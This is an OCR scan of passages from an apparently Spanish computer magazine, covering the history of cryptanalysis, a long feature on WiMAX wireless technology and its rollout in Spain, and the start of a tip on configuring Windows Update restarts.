caracteres para poder estudiar. Quizds
ese fue el problema de Enigma, por
suerte para algunos.

Otra caracteristica, no ligada di-
rectamente al lenguaje es el factor

CADA PERSONA, AL IGUAL
QUE ESCRIBIMOS DE UNA
FORMA UNICA, SE CIFRA

CON UNAS CARACTERISTICAS

PROPIAS DE CADA OPERARIO,

LO CUAL PERMITE AL
CRIPTOANALISTA CONOCER
QUIEN Y COMO HA CIFRADO

DICHO MENSAJE
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enviado el mensaje, lo que facilitd el
descifrado de mensajes japoneses por
parte del ejercito aliado. Se cree, que
los estadounidenses conocian las in-
tenciones de Japan sobre Pearl Harbaor,
y que estos dejaron a los japoneses ac-
tuar para que no se percatasen de que
su codigo habia sido descifrado.

Y es gue, a veces es mejor una
buena idea que un buen sistema de ci-
frado, como hizo el ejercito estadouni-
dense, empleando indios navajos que
transmitian el mensaje en su propio
idioma, desconocido para la gran parte
del mundo, lo cual imposibilitd que
los japoneses describiesen su cadigo.

Hasta aqui este primer nimero, que
ha intentado ser una introduccidn y
servir de base a los proximos ndmeros.
En el siguiente nimero trataremos los
sistemas monoalfabetos monogramicos
ayuddndonos del sistema de cifrado
del Cesar y veremos su criptoandlisis,

similares para todos los caracteres del TheBlooD
criptograma. humano. Cada persona, al igual que
Este mismo sistema utilizaba la fa-  escribimos de una forma dnica, se
mosa maquina Enigma alemana, don-  ciira con unas caracteristicas propias
de, tras cada cardcter escrito, giraba de cada operario, lo cual permite al
un rotor formando un nuevo alfabeto criptoanalista conocer quien y como
con el cual se cifraba el siguiente ca- ha cifrado dicho mensaje. Esto mismo
racter. ocurrid con el sistema |N-25 japonés,
El principal problema de un siste- donde los criptoanalistas estadouni-
ma criptografico, es la utilizacién ma-  denses conocian quien y como habia
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Una red WiFi destaca por alcanzar 54 Mbps de velocidad y abarcar unos 300 metros de radio

- en condiciones ideales y sin elementos de por medio que puedan interferir la sefal. Esto dice
mucho del porqué de su éxito, pero desde hace algiin tiempo se habla de WiMAX, la tecnologia
que proporcionard, por ejemplo, Internet a lugares apartados y que elevara la conectividad ina-
lambrica del hogar a una ciudad entera aumentando asi el alcance y también la velocidad.

Desde hace algunos anos la implantacion
de |a tecnologia inalambrica en nuestros
hogares v lugares de trabajo ha sido tal
que las siglas WiFi han dejado de ser un
“rara avis” para formar parte de nuestra
cotidianeidad en hogares, aeropuertos,
restaurantes, etc. La comodidad de co-
nexiones con otros dispositivos sin la ne-
cesidad de utilizar cables de por medio v
la, cada vez mayor, reduccion de costes,
han sido responsables directos del éxito
de esta tecnologia.

Sin embargo WiMAX ha llegado,
segin muchos, para quedarse. Y es que
esta tecnologia ofrece mayor alcance,
mis ancho de banda, estd respaldada por
buena parte de las empresas mds impor-
tantes del sector y permitird la creacidn
de redes inaldmbricas metropolitanas co-
nectadas a Internet a alta velocidad que
compitan con las grandes empresas 3&
telecomunicaciones. Todo ello con una
inversion minima.

Mediante WIMAX los usuarios podrdn
conectarse en cualquier lugar con gran
variedad de dispositivos como ordenado-
res, MP3, etc., ain si se desplazan de un
area a otra, lo que redunda en una gran
movilidad. En lo que respecta al ancho
de banda, el incremento de la misma per-
mitird el acceso en linea a aplicaciones
de alto contenido - multimedia, televi-
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sicin, miisica, videoconierencias y jue-
gos, entre otros, Pero quizas uno de los
aspectos que mds pueden hacer por que
llegue a triunfar tiene que ver con que
puede implantarse por un precio muy
razonable, esto es que de cara al usuario
supondrd un sistema de conexion a In-
ternet igual o mas econdmico al actual.
Ademas de las ventajas inherentes a una
red de gran capacidad, WiMAX se pre-
senta como una eficiente alternativa para
solventar la carencia de acceso de banda
ancha a las dreas suburbanas y rurales
donde las companias del teléfono y cable
todavia no llegan.

Esta mayor cobertura permitird que
los proveedores de servicios ofrezcan
acceso a Internet de banda ancha direc-
tamente a las casas, sin tener que tender
un cable fisico hasta el final - lo que se
conoce comunmente como “la dltima
milla” - que conecta a cada uno de los
hogares con la red principal de cada

=
wimax

Wiklar gald Vanedy 5 sucader a Wi

proveedor, reduciendo asi los costes con
respecto al cableado tradicional para el
cliente.

sin embargo, antes de seguir expli-
cando las interioridades de esta tecno-
logia, conviene dejar claro algo. Por la
experiencia que tenemos de los dltimos
afnos (en el despegue del UMTS, por
ejemplo), debemos tratar el tema del
WiMAX con cuidado ya que tendemos a
caer muy facilmente en grandes expecta-
tivas asociadas a las nuevas tecnologias.
Deberiamos aprender que los calendarios
que prometen desarrolladores y operado-
res suelen ser meramente anecdadticos y
gue pocas veces (o nunca) se cumplen.
Cierto es gque una planificacion de desa-
rrollo agresiva estimula a los inversores,
pero también es cierto que no cumplirla
puede provocar el desaliento v abandono
de muchos proyectos...

Dicho esto, empecemos.

WiIMAX ;Otras siglas mas?
WiMAX es WiFi pero “sencillamente” a
velocidades mas altas, mayores distancias
¥ para un mayor numero de usuarios.

Las siglas equivalen a Worldwide Inte-
roperability for Microwave Access (Inte-
roperabilidad Mundial para Acceso por
Microondas) y es el nombre comercial
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del estindar 802,16, un protocolo de
ransmision de datos inalambrico que va
un paso mas alld de WiFi. Segin las espe-
cificaciones, consigue una velocidad de
70 megabits por segundo (lo que supone
ser siete veces mas rdpido que el ancho
de banda de WiFi) y con una sola antena
es capaz de cubrir un drea de 48 kilome-
tros a la redonda, frente a los “escasos”
100 metros de WiFi, usando una tecnolo-
gia que no requiere vision directa con las
estaciones base, En definitiva, se trata de
un sistema disenado para ser utilizado en
las redes de drea metropaolitana (o MAN)
para ofrecer comunicacion inalambrica a
una ciudad entera.

Fara que nos hagamos una idea de |o
que puede aportar esta nueva tecnologia,
baste decir que seis puntos de acceso
WiIMAX dan cobertura de 360 grados pa-
ra 1.200 abonados, suponiendo un coste
de inversion de unos 6.000 euros. Otras
tecnologias de sistema multipunto pue-
den costar una media de 96.000 euros
jpara una red de 500 abonados! Una di-
terencia de costes y de radio de cobertura
abismales. ¥ todo ello sin contar con la
tasa de transferencia. Asimismo, se trata
de un sistema escalable al que es facil
anadir nuevos canales - lo que maximiza
las capacidades de las células - y goza de
anchos de banda flexibles que permiten
usar espectros licenciados v exentos de
licencia.

Un sisterna WiMAX consta de dos
partes diferenciadas. Por un lado estan las
torres que dan cobertura de hasta 8000
km cuadrados (segun el tipo de sefial
transmitida) y por otro tenemos los recep-
tores, o lo que es lo mismo, las tarjetas
que conectamos a nuestro PC, p-urtaitil 0
PAs para obtener acceso a la red.

ESTACION BASE

WIMAX ES WIFI PERO
“SENCILLAMENTE"” A
VELOCIDADES MAS ALTAS,
MAYORES DISTANCIAS Y
PARA UN MAYOR NUMERO DE
USUARIOS

Del mismo modo, existen dos formas
de ofrecer la senal. En el caso de que
haya objetos que se interpongan entre |a
antena y el receptor se hace necesario
operar con bajas frecuencias (entre los
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WIMAX

2 y los 11 Ghz) de forma que evitemos
suirir las interferencias causadas por la
presencia de elementos, aunque como
consecuencia directa tenemos una re-
duccion del ancho de banda disponible.
Las antenas que ofrezcan este tipo de
servicio tendran una cobertura de 65 km
cuadrados, lo que viene a ser mds o me-
nos lo mismo que el radio de accidn de
las antenas de teléfonos mdviles. Si por el
contrario no hay nada entre la antena y el
receptor, es decir, hay contacto visual di-
recto, serd posible operar en frecuencias
muy altas, del orden de los 66 Ghz con
el consiguiente ancho de banda (muy
grande). En este caso, las antenas que
ofrezcan este servicio tendran una cober-
tura de hasta 9.300 km cuadrados.

Los usuarios de a pie seremos clientes
del servicio que opera a bajas frecuencias
y nos permitird disfrutar de una velocidad
de hasta los 70 Mbps y una senal de casi
50 km. Unas condiciones que, unidas a
los sistemas inaldmbricos existentes, for-
mara una red hibrida solida para cubrir
dreas extendidas y de dltima milla en
funcidn a los modelos de uso, el tiempo
de implementacion, la posicidon geografi-
ca y la aplicacion de red (tanto en datos,
VolIP y video). De esta manera, los WiFi
y WLANSs convivirdn con WiMAX y se
adaptardn a las necesidades de la red de
usuarios consiguiendo que el intercambio
de redes autorizadas WiFi abaraten el ser-
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vicio inaldmbrico para las dreas urbanas
y suburbanas. Con ello WiMAX (802.16-
2004) provee conectividad inalambrica
de banda ancha a las dreas mds alla del
alcance de la banda ancha tradicional
(xDSL v T1) y permite el crecimiento de
topologia de WiFi de la red de malla.

El estandar IEEE 802.16 WiMAX con
revisiones especificas se ocupa de los
modelos Fijo y Mdvil. En el primero el
estindar es disefiado para el acceso fijo.
Este estindar “fijo inaldmbrico” usa una
antena en la que se coloca en el lugar
estratégico del suscriptor. La antena se
ubica generalmente en el techo de una
habitacion o en el mastil, parecido a un
plato de la television por satélite. También
se ocupa de instalaciones interiores, en
Cuyo caso no necesita ser tan robusto co-
mo al aire libre. Funciona desde 2,5 Ghz
autorizado, 3,5 Ghz v 5,8 Chz exento de
licencia. Esta tecnologia provee una alter-
nativa inaldmbrica al médem cable y las
lineas digitales de suscriptor de cualquier
tipo (xDSL). Vendria a ser el equivalente
a WILL, es decir, antena fija a antena fija.
Por su parte, el modelo mdvil afade porta-
hilidad y capacidad para clientes maviles.
Seria algo asi como WiFi permitiéndote
moverte dentro del alcance de la sefal. Su
principal beneficio, es que usa frecuencias
del espectro (de 2 a 5 Ghz), libres en casi
todo el mundo.
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El estindar 802.16 puede alcanzar
una velocidad de comunicacién de mds
de 100 Mbit/s en un canal con un ancho
de banda de 28 Mhz (en la banda de
10 a 66 Ghz), mientras que el 802.16a

CON WIMAX LOS USUARIOS
PODRAN DESPLAZARSE
MIENTRAS TIENEN ACCESO DE
DATOS DE BANDA ANCHA O A
UNA SESION DE TRANSMISION
EN TIEMPO REAL DE
MULTIMEDIA

puede llegar a los 70 Mbit/s, operando en
un rango de frecuencias mas bajo (<11
GHz). Las altas velocidades se consiguen
usando modulacidn OFDM (Orthogonal
Frequency Division Multiplexing) con
256 subportadoras, que puede imple-
mentarse de diferentes formas, segiin ca-
da operador, siendo la variante de OFDM
empleada un factor diferenciador del
servicio ofrecido.

Esta modulacion da soporte a varios
cientos de usuarios por canal, con un
gran ancho de banda, siendo adecua-
da tanto para trifico continuo como a
rafagas y de forma independiente del

protocolo. De esta manera, transporta IF,
Ethernet, ATM etc. y soporta miiltiples
servicios a la vez ofreciendo Calidad de
Servicio (Qo5} en 802.16e, excelente pa-
ra voz sobre IP (VolP), datos y video - la
voz y el video requieren baja latencia pe-
ro soportan bien la pérdida de algiin bit,
mientras que las aplicaciones de datos
deben estar libres de errores, pero toleran
bien el retardo.

Combinando WiFi y WIMAX

Con WiMAX los usuarios podrin despla-
zarse mientras tienen acceso de datos
de banda ancha o a una sesian de trans-
mision en tiempo real de multimedia.
Asimismo, puede resultar muy adecuado
para unir “hot spots” WiFi a las redes
de los operadores, sin necesidad de es-
tablecer un enlace fijo. En los paises en
desarrollo resulta una buena alternativa
para el despliegue rapido de servicios,
compitiendo directamente con las infra-
estructuras basadas en redes de satélites,
muy costosas y con una alta latencia.
Pero lo cierto es que la lista de ven-
tajas es un “suma v sigue”. Y es que la
instalacidn de estaciones base WiMAX
es sencilla y econdmica, lo que ha per-
mitido que algunos operadores de LMDS
(Local Multipoint Distribution System)
estén empezando a hacer despliegues




de red, utilizando los elementos que hoy
por hoy estdn disponibles, De la misma
‘orma, una estacion base permite el ac-
ceso simultineo a mas de 60 empresas o
centenares de residencias con conexio-
nes DSL.

Esta nueva tecnologia podria suponer
una alternativa a las redes de telefonia
movil va que, una vez conectados los
PDA, moviles y computadoras portitiles a
Internet a través de esta tecnologia, se po-
drian podria hacer llamadas de telefonia
IF v enviar mensajes, datos y video, sin
coste alguno. Eso sin contar con que ofre-
ceria independencia de protocolo trans-
portando IF, Ethernet o ATM, entre otros.
Por si fuera poco, es simétrico, es decir,
puede proporcionar un flujo de datos si-
milar tanto de subida como de bajada.

Otra caracteristica que ya se ha
adelantado es que soporta las llamadas
antenas inteligentes (“smart”), propias
de las redes celulares de 3G (tercera
generacion), lo que mejora la eficiencia
espectral, llegando a conseguir 5 bps/Hz,
el doble que 802.11a. Estas antenas inte-
ligentes emiten un haz muy estrecho que
se puede ir moviendo, electrénicamente,
para enfocar siempre al receptor, evitan-
do asi interferencias entre canales adya-
centes y consumiendo menos potencia al
ser un haz mds concentrado.

También contempla la posibilidad de
formar redes malladas (mesh networks)
para que los distintos usuarios puedan
comunicarse entres si, sin necesidad de
tener vision directa entre ellos. Ello facili-
tard la comunicacidn entre una comuni-
dad de usuarios dispersos a un coste muy
bajo y con una gran seguridad al dispo-
nerse de rutas alternativas. Asimismo, en
cuanto a seguridad, incluye medidas para
la autenticacién de usuarios y encripta-
cion de datos mediante los algoritmos
Triple DES (128 bits) y RSA (1.024 bits).

Gracias a los avances mas recientes
en procesadores digitales de sefal se
solventard una de los principales escollos
en los enlaces a larga distancia via radio:

la limitacion de potencia que afecta a la
interferencia con otros sistemas, eso sin
contar con el alto consumo de bateria
que requeriria. Estos avances hacen que
sefales muy débiles (llegan con poca
potencia al receptor) puedan ser inter-
pretadas sin errores, un hecho del que se
aprovecha WiMAX y que podria permitir
disenos de baterias para terminales mavi-
les WIMAX, que puedan competir con los
tradicionales de GSM, GPRS y de UMTS.

LAS OPERADORAS
TRADICIONALES CONSIDERAN
YA WIMAX COMO UNA CLARA

AMENAZA QUE VIENE A
TRASTOCAR LOS PLANES DE
TECNOLOGIAS COMO EL ADSL
Y EL CABLE

WIMAX vs ...el resto

Las operadoras tradicionales consideran
ya WiMAX como una clara amenaza que
viene a trastocar los planes de tecnolo-

ias como el ADSL y el cable, puesto que
a instalacion es mucho mds barata que
la del UMTS o las redes de cable, y todo
ello sin necesidad de abrir zanjas.

La batalla actual entre los proveedares

de acceso a Internet estd en la “dltima mi-
lla”, el bucle local o tramo del cable que
llega hasta los hogares. WiMAX podria
acabar de un plumazo con el dominio del
mercado del que disfrutan los propietarios
de las lineas que van desde las centralitas
a cada domicilio (en Espana casi en exclu-
siva de Telefénica) ya que ahora cualquier
proveedor podria ofrecer acceso a Internet
de banda ancha directamente a las casas,
sin necesidad de tender una red de cable
hasta cada hogar. Y, aunque WiMAX nacid
con el objetivo de cubrir la dGltima milla,
también serd capaz de ofrecer una alterna-
tiva a las conexiones por cable y ADSL.

TECNOLOGIA

WIMAX

Al contrario de las tradicionales redes
de telefonia mavil (como la GSM o la
UMTS), WIMAX opera dentro de un es-
pectro de onda no regulado (por debajo
de los 11Ghz), por lo que en principio
no deberian existir demasiados requisitos
legales para su implantacidn, mds alla
de los problemas que ha habido entre |a
CMT y los municipios que han instalado
redes WiFi sin las licencias necesarias.

En principio WiMAX no compite con
WiFi, pues permitird conectar los puntos
de acceso (hotspots) de WiFi entre si. De
la misma forma, puede desarrollarse en
paralelo a los accesos por banda ancha
ofrecidos por las redes de cable y ADSL.
5in embargo, si se convierte en un estin-
dar de uso generalizado y se despliega de
forma masiva, podria reemplazar a otros
tipos de conexidn, e incluso comprome-
ter la evolucidn de la telefonia movil de
tercera generacion.

WiMAX atraviesa hasta el hormigon,
mientras que basta la niebla para dete-
riorar la de UMTS, que debe desplegar
antenas en el interior de los edificios

ara ofrecer cobertura. De esta forma,

as nuevas operadoras maviles podrian
emplear WiMAX para competir con la
telefonia 3G, aunque esto dependerd de
los organismos reguladores. De hecho,
existe un periodo de restriccion (zhasta
20077) para que los operadores recupen
sus cuantiosas inversiones en el des-
pliegue de UMTS. Pero aungque WiMAX
pueda ser un adversario de UMTS en
zonas metropolitanas, serd dificil que se
despliegue una red que cubra todo el
territorio y compita en movilidad con las
redes de telefonia (la siguiente revision
del estindar, 802,16e - WiMAX mavil - si
que aparece como alternativa sdlida a las
redes de telefonia 3G).

Por lo que pueda pasar, los operadores
(26 operadoras y fabricantes - liderados
por la japonesa NTT DoCoMo) trabajan
en una nueva red (conocida como Sdper
30), diez veces mds potente que la actual
aungue no estara lista antes de 2009.

| | WiMAX 802.16 ] Wi-Fi 802,11 | Mobile-Fi 802.20 | UMTS y cdma2000
\velocidad | 124 Mbit/s | 11-54 Mbit/s | 16 Mbit/s i 2 Mbit/s
|Cobertura | 40-70 km I 300 m [ 20 km [ 10 km
|Licencia | SifNo [ No | Si | Si
|Ventajas | Velocidad y Alcance | Velocidad y Precio  |Velocidad y Movilidad| Rango y Movilidad
\Desventajas |  Interferencias?? |  Bajo alcance | Precio alto | Lento y caro

Compiraiiv de los dsiinfos pmioccolos de comenizaciin alisbnica
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Expansion ibérica

En Espana, los principales operadores
que se preparan para ofrecer WiMAX son
Iberbanda (propiedad, entre otros, de
Prisa e Ibercaja), Broadnet (participada
por el Grupo ].P. Morgan y Bankinter) y
Meosky (de Iberdrola).

El Pais Vasco ya implementa WiMAX,
tanto experimental como comercialmen-
te, en la mayor parte de los municipios
(voz y datos). El gobierno vasco da desde
febrero de 2007 subvenciones del 100%
de la instalacidn con el objeto de per-
mitir que WiMAX llegue donde no |l
la linea de cobre tradicional. Cidiz es
otra ciudad que también comercializa
esta nueva tecnologia para voz, datos y
television. Alli, en la costa alicantina, lo
ofrecen 2 empresas privadas: MegaVista,
que da conexion a Internet a 1 Mbps
para zonas rurales y Aeromax. Y es que
Andalucia se ha convertido en pionera
en la adopcién de WiMAX gracias a un
acuerdo de colaboracidn firmado entre
la Consejeria de Innovacién, Ciencia
y Empresa e Iberbanda por el que se
compromete a invertir un minimo de 9,5
millones de euros para promover infra-
estructuras de tecnologia WiMAX. De
esta forma ya estd desplegando una red
“preWiMAX"™ mediante estaciones base
con un radio de hasta 30 kilémetros que
ofrece conexiones de banda ancha a 256
Kbps v 4 Mbps, sobre la que podrd im-
plantar la tecnologia WiMAX cuando esté
disponible.

Por otro lado, el ayuntamiento del
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pueblo ma[algueﬁu de Mijas (que consta
de tres pueblos separados entre si, uno
en la sierra y dos en la costa) ha puesto
WiMAX para dar acceso a Internet a sus
22 oficinas municipales en lo que se co-
noce como la iniciativa Mijas Digital. Ha
unido entre si las dependencias del ayun-
tamiento que tenia desperdigados por

el municipio, consiguiendo ademas dar
acceso a Internet a varias pedanias donde
la banda ancha no llegaba. También se
espera que Santiago de Compostela tenga
en marcha una red WiMAX municipal

a principios de 2008, tanto para comer-
cios como para residentes v visitantes. El
Ayuntamiento pretende dar servicios de
teleasistencia y televigilancia de ancianos
y personas enfermas, v conectar puntos
de informacion piblica situados en diver-
s05 |lugares.

Hay que aclarar que las experien-
cias mencionadas anteriormente no son
WiMAX en el sentido estricto de la pa-
labra. Hacen uso de esta tecnologia de
conexion por ondas de radio pero con
equipos que no disponen del certificado
WiMAX (las estaciones base y el router o
CPE) debido a lo reciente del estandar.

2008, ;el ano WiMAX?

El afio que puede suponer el pistoletazo
definitivo de esta tecnologia parece y
asi lo esperamos muchos) que puede
ser el 2008. A eso apunta por ejemplo
el interesante acuerdo de Sprint Nextel
y Clearwire para crear una red nacional
en los Estados Unidos (la segunda tras la

anunciada por Intel y Motorola) basada
en WiMAX para finales del 2008 que
cubrird a 100 millones de usuarios. Sprint
Mextel, la tercera mayor operadora de
telefonia mavil de EEULU, ha invertido
2.500 millones de dolares (unos 1.800
millones de euros) para construir una red
WIMAX - y probar equipos WiMAX fabri-
cados por Motorota - con la esperanza,
sepiin han declarado, de percibir ingresos
de entre 2.000 y 2.500 millones de dd-
lares para el 2010. Asimismo, Google se
ha sumado al p con el portal Ars
Technica que ofrecera las aplicaciones
de su suite ofimadtica y personal (Gmail,
Google Calendar, Google Talk, Google
Dacs), ademas de servicios como “Go-
ogle Maps” o YouTube. Pero no hay que
olvidar que también Francia, Irlanda y
Gran Bretana, donde British Telecom ya
ha realizado pruebas en zonas rurales, ya
han dado los primeros pasos para desple-
gar las redes WiMAX.

Como destacaba al principio de este
articulo, realizar previsiones sobre tec-
nologias emergentes, se ha convertido en
una empresa arriesgada y casi siempre
abocada al fracaso, o como poco a la
desilusion. En el caso que nos ocupa,
todo dependerd de quien despliegue las
redes necesarias y las previsiones son
esperanzadoras ya que en el mundillo se
suceden noticias que apuntan a que em-
presas de primer orden como Mokia, Intel
0 Samsung apuestan por este estandar de
transmision inalambrica de datos.

Mokia, por ejemplo ha confirmado
que tendrd preparados teléfonos maoviles
con WiMAX para el 2008, Samgung va
tiene tres dispositivos (sélo para Corea),
v no son pocas las marcas que lanzan
“pruebas de concepto”, modelos no
comerciales pero tedricamente capaces
aprovechar una conexion WiMAX.

Sin embargo, una de las noticias mas
destacadas que se ha producido reciente-
mente ha sido que Intel, indiscutiblemen-
te el gran impulsor de esta tecnologia, ha
anunciado que ha decidido centrarse en
WiMAX para su plataforma Centrino en
detrimento de 3G. Un duro golpe para
esta tltima (que para muchos anuncia su
rapido ocaso) y que tendra continuacion

EL ANO QUE PUEDE

SUPONER EL PISTOLETAZO
DEFINITIVO DE ESTA
TECNOLOGIA PARECE (Y ASI
LO ESPERAMOS MUCHOS) QUE
PUEDE SER EL 2008
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cuando, a finales de este afno, se espera
que Intel tenga en el mercado una tarjera
interna WiMAX v, para el 2008, una tar-
jeta “combo” que ofrezca conectividad
para WiFi y para WiMAX, 5i tiene el mis-
mo éxito que con su modelo Mokia 770
va pueden empezar a frotarse las manos,
aunque primero tendran que lidiar con
modelos con una mayor cantidad de
circuitos, mayor consumo y mas volumi-
M55,

Esto viene a dejar claro que la estra-
tegia a seguir no pretende sustituir a Wikl
or WiMAX si no que se confia en gue
a primera siga teniendo su espacio en el
hogar, aunque la nueva ird mas orientada

a las redes MAMN y otras redes inaldm-
bricas ciudadanas, tanto por capacidad
comao por el ahorro de costes.

Pero como antes mencionaba, el éxi-
to en esta caso es tarea de dos: del que
fabrica dispositivos capaces de recibir |a

sefial WIMAX y del que despliegue las re-
des. De este dltimo, las previsiones apun-
tan a que no tardaremos en ver muchos
anuncios en este sentido. Ya asistimos al
de la red de Intel y Motorola y es mas
que probable que otros como Fon tengan
a WIMAX en su agenda.

En este sentido, Toshiba ha anunciado
un acuerdo con Mortel para el desarrollo
conjunto de estaciones WiMAX enfoca-
das a los mercados japonés y mundial.
Las estaciones que instalaran estaran
basadas en la nanotecnologia, equipos
en miniatura con un bajo consumo de
energia y gran confiabilidad. En definiti-
va, una gama innovadora de estaciones
WiMAX, pequenas y eficientes en poten-
cia, vy efectivas en costos.

Antes de que los portatiles vengan
preparados con WiMAX, como ahora lo
estan con WiFi, funcionara en una pri-
mera fase mediante antenas receptoras

TECNOLOGIA

WIMAX

El WiMAX Forum

Con el objeto de promover el uso de
los estandares WIMAX es necesario
que los fabricantes de dispositivos
electronicos lleguen a acuerdos para
desarrollar esta tecnologia, dando lu-
gar a certificaciones que aseguren la
compatibilidad y la interoperabilidad
de antenas, procesadores o receptores,
y a estudiar, analizar y probar los desa-
rrolles implementados. Por ello nacid
el WiMAX Forum, una asociacion sin
animo de lucro formada por empresas
comprometidas con el cumplimiento
del estandar IEEE 802.16. Hoy en dia,
estd respaldado por importantes fabri-
cantes de equipos y proveedores de
servicios. Mas de 230 miembros entre
los que destacan Intel, Nokia, Siemens,
Motorola, Samsung o Fujitsu, y donde
no faltan ores de telefonia como
Deutsche Telekom, France Telecom, Te-
lecom Italia o Euskaltel.

Los expertos creen que WiMAX no
estara listo hasta fin de ano, y pasaran
al menos otros dos anos antes de su
implantacién definitiva, algo que no
ocurrird antes de que se produzcan
chips en masa y se fabriquen equi-
pos compatibles que abaraten sus pre-
cios. De hecho, a principios de afio el
WiMAX Forum anuncid un retraso de
seis meses para comenzar con la certi-
ficacion del estandar 802.16.

El WiMAX Forum ha seleccionado a
Cetecom, empresa participada mayori-
tariamente por la Junta de Andalucia,
como su primer (y hasta la fecha uni-
co) laboratorio oficial de certificacion
para todo el mundo. El inicio de las
pruebas de |a certificacion de equipos,
que garanticen su interoperabilidad,
si no se presentan nuevos retrasos,
deberia dar paso a los primeros equi-
pos certificado y los primeros orde-
nadores con el chip Rosedale de Intel
disefiados especialmente para usar
esta tecnologia, PDAs y portatiles con
tecnologia WiMAX integrada.
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situadas en los edificios, encargadas de
recibir y descodificar la sefal emitida
desde una estacién base. En una etapa
posterior (el afio que viene) se venderan
maddems autoinstalables, similares a los
que se ofrecen ahora para el acceso me-
diante ADSL, que costardn en torno a los
190 euros. Finalmente, los receptores de
sefial WIMAX estardn integrados en los
equipos - si Intel cumple con la fecha
prevista de comercializacion de su chip
PRO-Wireless 5116, que podrin co-
nectarse a la Red desde cualquier lugar
dentro del radio de accidn de una esta-
cion base. El mes pasado Intel lograba el
apoyo de Mokia para convertir WiMAX
en el nuevo estandar de acceso inalam-
brico a Internet. Este respaldo puede dar
el empujon definitivo para el despegue
de esta tecnologia.

Se dice.... se comenta...

WiMAX cambiara la forma en la que se
conciben las conexiones inalimbricas
en el mundo gracias a las ventajas que
aportara; llamadas gratis, movilidad total,
popularizacion de los smartphones, etc.
En Corea, por ejemplo, las venta-
jas de un WiMAX movil trabajando
en 2,3Ghz se ha materializado ya y se
conoce como WIiBRO (Wireless Broad-
band), una iniciativa que inici6 sus
despliegues comerciales en el 2006.

@ uos

PALIHG aTDA CONTACTE

LOS IMPULSORES DE LA
TECNOLOGIA WIMAX (INTEL,
NOKIA, NEC Y ALCATEL) NO
LLEGARON A UN ACUERDO
SOBRE LAS ESPECIFICACIONES
PARA CERTIFICAR LOS
EQUIPAMIENTOS LO QUE
ATRASA LA ADOPCION DE LA
TECNOLOGIA

Esta red puede ser utilizada por los tres
dispositivos/gadgets comercializados
por Samsung Electronics: un smartpho-
ne (SPH-MB8100) que ofrece telefonia,
Internet, cdmara y video bajo un siste-
ma Microsoft, un dispositivo USB para
conexiones WiMAX y HSDPA (SPH-
H1200) y una tarjeta PCMCIA.

En otro orden de cosas se ha anuncia-
do que los primeros vehiculos deportivos
eléctricos tendran WiMAX de serie. La fa-
bricacion correrd a cargo de una empresa
Monegasca llamada Venturi Automobiles,
que conseguird de esta manera man-
tenerlo a distancia e incluso controlar
constantemente la situacion del coche. El
nombre del modelo es Fétish e integrard
dos procesadores Intel XScale para con-
trolar las baterias, un reproductor iPod y
GPS. Todo por “sdlo” un cuarto de millon

de dolares

Con todo el revuelo que ha levantado
el iPhone en el dltimo ano, era de espe-
rar gue surgieran las primeras noticias
de una integracion, el sueno de todo
“techie”. Se habla de que Apple puede
cambiar en futuras versiones el procesa-
dor actual del iPhone x86 (de Samsung)
por los de Intel (algo que ya ha hecho en
sus ordenadores) y, puesto ya que AT&T
ha anunciado que trabajan firmemente
para hacer que su nueva red para mo-
viles funcione con WiMAX, Apple muy
posiblemente instalard procesadores
WiMAX en su proxima versidn. En caso
de confirmarse, el iPhone subirfa un es-
calén mds en cuanto a sus capacidades
de conectividad dejando casi de lado la
importancia de incorporar WiFi. Claro
que para disfrutar de un iPhone con tec-
nologia WiMAX primero es necesario que
nuestras ciudades estén preparadas para
ello...

En este aspecto quizds ayude la ini-
ciativa que puede encontrarse en la web
http:/fwww.sanswire.com, donde puede
verse el primer stratellite, un artefacto
con el aspecto de los antiguos zeppelines
que subird a la estratosfera para proveer
servicio inaldmbrico a un drea del tama-
no del estado de Texas o superior.

Los impulsores de la tecnologia
WiMAX (Intel, Nokia, NEC y Alcatel) no
llegaron a un acuerdo sobre las espe-
cificaciones para certificar los equipa-
mientos lo que atrasa la adopcion de |a
tecnologia. De la misma forma distintos
paises estan realizando investigaciones
sobre diferentes frecuencias lo que no
ayuda a acelerar el despliegue de |a
tecnologia ya que, aunque esta se pue-
da adaptar a |as distintas frecuencias,
eso implica incrementar el ndmero de
pruebas de software, ralentizando el
Proceso.

Eso no quita para que, segiin los
analistas, se espere que WIMAX crezca
un 70% en cinco afos. Todo depende de
la integracion de esta tecnologia con la
banda ancha celular de proxima genera-
cidn. Un futuro que se augura brillante y
que, puesto que esta tecnologia trabaja
bajo el estandar IEEE 802.16e, ofrecerd
la amplitud de WiFi junto a un nuevo
rango movil, algo muy valorado por los
Usuarios.

Es indudable que nos encontramos
sumidos en la era Wifi pero todo indi-
ca que es cuestion de tiempo para que
WiMAX sea una realidad palpable para
todos.

Nicolas Velisquez Espinel
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Lonfigurar las actualizaciones

de Windows Update

Windows Update es una exten-
sion online de Windows que te
ayuda a mantener actualizado
su equipo y que podras utili-
zar para elegir actualizaciones
para el sistema operativo, los
programas y el hardware de su
equipo. Si te molesta la forma
en la que actia deberias apren-
der a controlarlo siguiendo
unas sencillas medidas,

Las actualizaciones de Windows son un
requisito indispensable si quieres tener tu
PC a la dltima en lo relativo a los parches
y mejoras de seguridad del sistema. Se
trata de una aplicacion online a la que el
PC se conecta peridicamente y que te
informa de las dltimas correcciones que
hayan salido. Habitualmente se agrega
nuevo contenido al sitio para que siempre
disponga de las actualizaciones mds re-
cientes con el fin de proteger tu equipo y
mantenerlo en perfecto funcionamiento.

Windows normalmente permite que
este proceso se lleve de forma automdtica
y transparente para el usuario aunque es
inevitable que este tenga que tomar parte
puesto gue en ocasiones se te avisard de
que existen actualizaciones y en otras se
te conminard, de forma bastante molesta
por lo reiterativo, a reiniciar el equipo para
que los cambios surtan efecto. Esto puede
resultar bastante incomodo va que no sélo
avisa si no gue, en ocasiones, y tras una
cuenta atrds, el PC se reinicia s6lo. Y si no,
te bombardea con mensajes de aviso cada
10 minutos hasta lograr hacerte acatar sus
demandas.

5i lo que deseas es reiniciar el equipo
cuando te venga en gana basta con que
accedas al mend “Inicio - Ejecutar”, escri-
bas “gpedit.msc” para acceder al “Editor
de directivas de Grupo” y pulses en acep-
tar. Alli debes seleccionar del mend rami-
ficado de la izquierda la siguiente ruta:
“Directiva de equipo local - Configuracicn
del equipo - Plantillas administrativas
- Componente de Windows - Windows
Update”. Luego haz doble clic “Volver
a pedir |a intervencion del usuario para
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Con las directivas de grupo podrds configurar el
comporfamiento del PC.
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Ef PC accede a Windows Update cusndo se conecta
ih dispositiva,
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Las actualizaciones de Windows pueden ser configu-
radas sencillamante

reiniciar con instalaciones programadas”.
Este parametro especifica la cantidad de
tiempo que Actualizaciones automaticas
debe esperar antes de volver a pedir la
